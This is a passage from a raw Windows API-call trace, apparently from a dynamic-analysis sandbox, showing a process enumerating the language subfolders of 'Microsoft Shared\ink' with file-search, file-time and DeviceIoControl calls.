dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.094] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.094] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.094] NtClose (Handle=0x1bc) returned 0x0 [0235.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.094] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.094] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.094] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9047f8 [0235.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905330 [0235.095] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.095] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.095] GetLastError () returned 0x12 [0235.095] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.095] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.095] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.095] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.095] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.095] GetLastError () returned 0x12 [0235.095] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.095] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.095] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.095] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.095] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0235.095] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.097] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.097] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.097] NtClose (Handle=0x1b0) returned 0x0 [0235.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.098] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.098] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904818 [0235.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905438 [0235.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.098] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.098] GetLastError () returned 0x12 [0235.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.098] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.098] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.098] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.099] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.099] GetLastError () returned 0x12 [0235.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.099] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.099] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0235.099] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0235.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.100] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.100] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.100] NtClose (Handle=0x1bc) returned 0x0 [0235.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.100] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.100] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904838 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905540 [0235.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x400) returned 0x906be0 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ffe90) returned 1 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.101] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.101] GetLastError () returned 0x12 [0235.101] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.101] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.101] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.101] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.101] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.101] GetLastError () returned 0x12 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.101] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.102] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0235.102] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0235.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.102] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.102] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.102] NtClose (Handle=0x1b0) returned 0x0 [0235.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 